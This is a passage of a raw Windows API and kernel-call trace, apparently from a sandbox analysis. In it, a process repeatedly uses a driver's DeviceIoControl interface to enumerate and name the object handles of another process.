Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00208d060, HandleInformation=0x0) returned 0x0 [0103.767] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.767] PsReleaseProcessExitSynchronization () returned 0x2 [0103.767] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.767] ObQueryNameString (in: Object=0xfffff8a00208d060, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.767] ObfDereferenceObject (Object=0xfffff8a00208d060) returned 0x1 [0103.767] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.768] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.768] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.768] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.768] PsAcquireProcessExitSynchronization () returned 0x0 [0103.768] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.768] ObReferenceObjectByHandle (in: Handle=0x718, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001e158c0, HandleInformation=0x0) returned 0x0 [0103.768] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.768] PsReleaseProcessExitSynchronization () returned 0x2 [0103.768] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.768] ObQueryNameString (in: Object=0xfffff8a001e158c0, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.768] ObfDereferenceObject (Object=0xfffff8a001e158c0) returned 0x1 [0103.768] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.768] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.768] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.768] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.768] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.768] PsAcquireProcessExitSynchronization () returned 0x0 [0103.768] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.768] ObReferenceObjectByHandle (in: Handle=0x720, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a001ba99f0, HandleInformation=0x0) returned 0x0 [0103.768] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.768] PsReleaseProcessExitSynchronization () returned 0x2 [0103.768] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.768] ObQueryNameString (in: Object=0xfffff8a001ba99f0, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.768] ObfDereferenceObject (Object=0xfffff8a001ba99f0) returned 0x1 [0103.768] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.768] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.768] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.769] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.769] PsAcquireProcessExitSynchronization () returned 0x0 [0103.769] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.769] ObReferenceObjectByHandle (in: Handle=0x728, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00226c630, HandleInformation=0x0) returned 0x0 [0103.769] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.769] PsReleaseProcessExitSynchronization () returned 0x2 [0103.769] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.769] ObQueryNameString (in: Object=0xfffff8a00226c630, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.769] ObfDereferenceObject (Object=0xfffff8a00226c630) returned 0x1 [0103.769] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.769] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.769] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.769] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.769] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.769] PsAcquireProcessExitSynchronization () returned 0x0 [0103.769] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.769] ObReferenceObjectByHandle (in: Handle=0x72c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00231a470, HandleInformation=0x0) returned 0x0 [0103.769] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.769] PsReleaseProcessExitSynchronization () returned 0x2 [0103.769] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.769] ObQueryNameString (in: Object=0xfffff8a00231a470, ObjectNameInfo=0xfffffa8002009404, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002009404, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.769] ObfDereferenceObject (Object=0xfffff8a00231a470) returned 0x1 [0103.769] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.770] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.770] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.770] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.770] PsAcquireProcessExitSynchronization () returned 0x0 [0103.770] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.770] ObReferenceObjectByHandle (in: Handle=0x730, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00207bf40, HandleInformation=0x0) returned 0x0 [0103.770] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.770] PsReleaseProcessExitSynchronization () returned 0x2 [0103.770] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.770] ObQueryNameString (in: Object=0xfffff8a00207bf40, ObjectNameInfo=0xfffffa800341d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800341d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.770] ObfDereferenceObject (Object=0xfffff8a00207bf40) returned 0x1 [0103.770] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.770] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.770] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.770] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.770] PsAcquireProcessExitSynchronization () returned 0x0 [0103.770] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.770] ObReferenceObjectByHandle (in: Handle=0x734, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002339680, HandleInformation=0x0) returned 0x0 [0103.770] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.770] PsReleaseProcessExitSynchronization () returned 0x2 [0103.770] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.770] ObQueryNameString (in: Object=0xfffff8a002339680, ObjectNameInfo=0xfffffa8003311684, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8003311684, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.770] ObfDereferenceObject (Object=0xfffff8a002339680) returned 0x1 [0103.770] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.770] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.770] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.770] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.770] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.770] PsAcquireProcessExitSynchronization () returned 0x0 [0103.770] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.771] ObReferenceObjectByHandle (in: Handle=0x73c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00234e060, HandleInformation=0x0) returned 0x0 [0103.771] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.771] PsReleaseProcessExitSynchronization () returned 0x2 [0103.771] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.771] ObQueryNameString (in: Object=0xfffff8a00234e060, ObjectNameInfo=0xfffffa8002007044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8002007044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.771] ObfDereferenceObject (Object=0xfffff8a00234e060) returned 0x1 [0103.771] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.771] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.771] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.771] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.771] PsAcquireProcessExitSynchronization () returned 0x0 [0103.771] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.771] ObReferenceObjectByHandle (in: Handle=0x740, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0023488a0, HandleInformation=0x0) returned 0x0 [0103.771] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.771] PsReleaseProcessExitSynchronization () returned 0x2 [0103.771] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.771] ObQueryNameString (in: Object=0xfffff8a0023488a0, ObjectNameInfo=0xfffffa800264d044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800264d044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.771] ObfDereferenceObject (Object=0xfffff8a0023488a0) returned 0x1 [0103.771] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.771] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.771] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.771] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.771] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.771] PsAcquireProcessExitSynchronization () returned 0x0 [0103.771] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.771] ObReferenceObjectByHandle (in: Handle=0x748, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002341950, HandleInformation=0x0) returned 0x0 [0103.772] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.772] PsReleaseProcessExitSynchronization () returned 0x2 [0103.772] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.772] ObQueryNameString (in: Object=0xfffff8a002341950, ObjectNameInfo=0xfffffa80025fc044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fc044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.772] ObfDereferenceObject (Object=0xfffff8a002341950) returned 0x1 [0103.772] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.772] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.772] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.772] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.772] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.772] PsAcquireProcessExitSynchronization () returned 0x0 [0103.772] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.772] ObReferenceObjectByHandle (in: Handle=0x754, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a00235a630, HandleInformation=0x0) returned 0x0 [0103.772] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.772] PsReleaseProcessExitSynchronization () returned 0x2 [0103.772] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.773] ObQueryNameString (in: Object=0xfffff8a00235a630, ObjectNameInfo=0xfffffa8001fb7044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fb7044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.773] ObfDereferenceObject (Object=0xfffff8a00235a630) returned 0x1 [0103.773] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.773] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.773] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.773] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.773] PsAcquireProcessExitSynchronization () returned 0x0 [0103.773] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.773] ObReferenceObjectByHandle (in: Handle=0x758, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0021d13f0, HandleInformation=0x0) returned 0x0 [0103.773] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.773] PsReleaseProcessExitSynchronization () returned 0x2 [0103.773] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.773] ObQueryNameString (in: Object=0xfffff8a0021d13f0, ObjectNameInfo=0xfffffa80025fd044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025fd044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.773] ObfDereferenceObject (Object=0xfffff8a0021d13f0) returned 0x1 [0103.773] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.773] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.773] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.773] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.773] PsAcquireProcessExitSynchronization () returned 0x0 [0103.773] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.773] ObReferenceObjectByHandle (in: Handle=0x77c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002343140, HandleInformation=0x0) returned 0x0 [0103.773] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.773] PsReleaseProcessExitSynchronization () returned 0x2 [0103.773] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.773] ObQueryNameString (in: Object=0xfffff8a002343140, ObjectNameInfo=0xfffffa80025075c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa80025075c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.773] ObfDereferenceObject (Object=0xfffff8a002343140) returned 0x1 [0103.773] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.773] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.773] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.773] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.774] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.774] PsAcquireProcessExitSynchronization () returned 0x0 [0103.774] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.774] ObReferenceObjectByHandle (in: Handle=0x8a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a0028063e0, HandleInformation=0x0) returned 0x0 [0103.774] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.774] PsReleaseProcessExitSynchronization () returned 0x2 [0103.774] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.774] ObQueryNameString (in: Object=0xfffff8a0028063e0, ObjectNameInfo=0xfffffa8001feb044, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001feb044, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.774] ObfDereferenceObject (Object=0xfffff8a0028063e0) returned 0x1 [0103.774] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.774] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.774] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.774] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.774] PsAcquireProcessExitSynchronization () returned 0x0 [0103.774] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.774] ObReferenceObjectByHandle (in: Handle=0x8c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a002633fc0, HandleInformation=0x0) returned 0x0 [0103.774] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.774] PsReleaseProcessExitSynchronization () returned 0x2 [0103.774] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.774] ObQueryNameString (in: Object=0xfffff8a002633fc0, ObjectNameInfo=0xfffffa800248c7c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa800248c7c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.774] ObfDereferenceObject (Object=0xfffff8a002633fc0) returned 0x1 [0103.774] IofCompleteRequest (Irp=0xfffffa800cfdeee0, PriorityBoost=0) [0103.774] HeapFree (in: hHeap=0x180000, dwFlags=0x0, lpMem=0x1e315e0 | out: hHeap=0x180000) returned 1 [0103.774] RtlAllocateHeap (HeapHandle=0x180000, Flags=0x0, Size=0x808) returned 0x1e315e0 [0103.774] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e315e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e315e0*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0103.774] PsLookupProcessByProcessId (in: ProcessId=0x184, Process=0xfffff88004f09558 | out: Process=0xfffff88004f09558) returned 0x0 [0103.774] PsAcquireProcessExitSynchronization () returned 0x0 [0103.774] KeStackAttachProcess (in: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0 | out: PROCESS=0xfffffa80018ba540, ApcState=0xfffff88004f095d0) [0103.774] ObReferenceObjectByHandle (in: Handle=0x908, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800394e001, Object=0xfffff88004f09548, HandleInformation=0x0 | out: Object=0xfffff88004f09548*=0xfffff8a003585880, HandleInformation=0x0) returned 0x0 [0103.774] KeUnstackDetachProcess (ApcState=0xfffff88004f095d0) [0103.774] PsReleaseProcessExitSynchronization () returned 0x2 [0103.774] ObfDereferenceObject (Object=0xfffffa80018ba540) returned 0x142 [0103.774] ObQueryNameString (in: Object=0xfffff8a003585880, ObjectNameInfo=0xfffffa8001fe47c4, Length=0x800, ReturnLength=0xfffff88004f09550 | out: ObjectNameInfo=0xfffffa8001fe47c4, ReturnLength=0xfffff88004f09550) returned 0x0 [0103.775] ObfDereferenceObject (Object=0xfffff8a003585880) returned 0x1 [0103.775] IofCompleteRequest 